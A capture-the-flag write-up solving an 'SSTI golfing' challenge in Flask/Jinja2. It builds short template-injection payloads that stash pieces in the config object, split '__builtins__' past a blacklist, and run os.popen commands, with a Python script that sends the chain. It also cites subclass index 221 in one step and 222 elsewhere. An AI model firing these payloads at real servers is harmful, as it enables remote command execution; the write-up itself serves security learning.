Published on: February 6, 2025
7 min read · Posted by Baba is Dead
I got bored of code-golfing so I decided to come up with ssti-golfing.
This is a SSTI challenge with blacklisted characters and a limited payload length. We are greeted with the following page with an input field:
From the name, we can guess that this is a Server-Side Template Injection (SSTI) challenge. We can test this by inputting {{7*7}}
into the input field. This returns 49
, confirming that this is an SSTI challenge:
The source code is provided for this challenge:
@app.route("/greet", methods=["POST"])
def greet():
blacklist=['cycler','joiner','namespace','lipsum','globals','builtins','request']
comment=request.form.get("comment")
if len(comment)>65:
return render_template("index.html",comment="That's kinda too much for a comment.")
for i in blacklist:
if i in comment.lower():
print('builtins' in comment)
return render_template("index.html",comment="I don't really like your comment. >:( ")
return render_template_string(f"Damn. You like {comment}?")
We can see there is a blacklist of words not allowed in the payload:
cycler
, joiner
, namespace
, lipsum
, globals
, builtins
, request
.
Additionally, the payload length is limited to 65 characters.
Searching for SSTI payloads with limited lengths, I came across this article. The article details using the config
object in Flask. The config
object is global, meaning variables can be stored in the config
object during one request and retrieved in another. This helps reduce payload length.
For instance:
# First request to store the value 4 into the 'a' attribute of the config object.
{{config.update(a=2+2)}}
# Second request to retrieve the value of 'a'.
{{config.a}}
We can construct a series of payloads under 65 characters and store the required components of the exploit in the config
object during successive requests.
We return to the original payload used in a previous babyssti challenge to retrieve the flag:
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("cat flag.txt").read()}}{%endif%}{% endfor %}
The first step is to leak ().__class__.__base__.__subclasses__()
and find the class containing the string warning
in its name. Luckily, this payload is under 65 characters:
{{().__class__.__base__.__subclasses__()}}
Running this payload and finding the class with warning
in its name reveals it is at index 222.
config
ObjectTo reduce payload lengths, we store attributes such as __class__
, __base__
, __subclasses__
, and __builtins__
in the config
object. Since __builtins__
is blacklisted, we bypass it by storing '__built'+'ins__'
instead:
payloads = [
"{{config.update(a='__class__')}}",
"{{config.update(b='__base__')}}",
"{{config.update(c='__subclasses__')}}",
"{{config.update(e='__built'+'ins__')}}"
]
Next, store all subclasses and the warning object:
{{config.update(d=()[config.a][config.b][config.c])}}
{{config.update(f=config.d()[221]()._module[config.e])}}
os
ModuleImport the os
module and store it in the config
object:
{{config.update(g=config.f['__import__']('os'))}}
Finally, use the popen
command to read the flag:
{{config.g.popen("cat flag.txt").read()}}
import requests
url = "http://localhost:8000/greet"
def send_request(comment):
response = requests.post(url, data={"comment": comment})
return response.text
payloads = [
"{{config.update(a='__class__')}}",
"{{config.update(b='__base__')}}",
"{{config.update(c='__subclasses__')}}",
"{{config.update(e='__built'+'ins__')}}",
"{{config.update(d=()[config.a][config.b][config.c])}}",
"{{config.update(f=config.d()[222]()._module[config.e])}}",
"{{config.update(g=config.f['__import__']('os'))}}",
"{{config.g.popen('cat flag.txt').read()}}"
]
for payload in payloads:
result = send_request(payload)
print(result, payload)
blahaj{c0nf1g_v4r14bl35_f7w}
Please login to comment
No comments yet